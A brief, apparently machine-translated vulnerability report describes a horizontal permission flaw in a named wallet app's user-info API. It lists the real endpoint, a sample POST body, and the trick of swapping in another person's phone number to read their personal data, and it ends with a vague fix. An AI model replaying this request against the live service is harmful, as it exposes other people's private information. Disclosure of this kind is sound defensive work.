One wallet app's parallel permission control is lax, leading to user information leakage

One wallet app's parallel permission control is lax, leading to user information leakage

You can check the personal information corresponding to the specified mobile phone number.

Interface: the app portal is the activity "I ".

Https://mobile.1qianbao.com: 443/mtp-web/p1/op_query_userinfo.json

Post Parameters

{"OperationType": "op_query_userinfo", "clientId": "16f2fc81-4a10-4b2e-81ef-b71ed1bbaab6", "targetPhoneNum ":"

 
  
****** 046 *****

 

"," AppId ":" 100001 "}

Replace targetPhoneNum with the mobile phone number of another person and submit it with your own cookie to check others' personal information.

Account a login
 

Modify mobile phone number
 

 

Solution:

Enhanced verification and filtering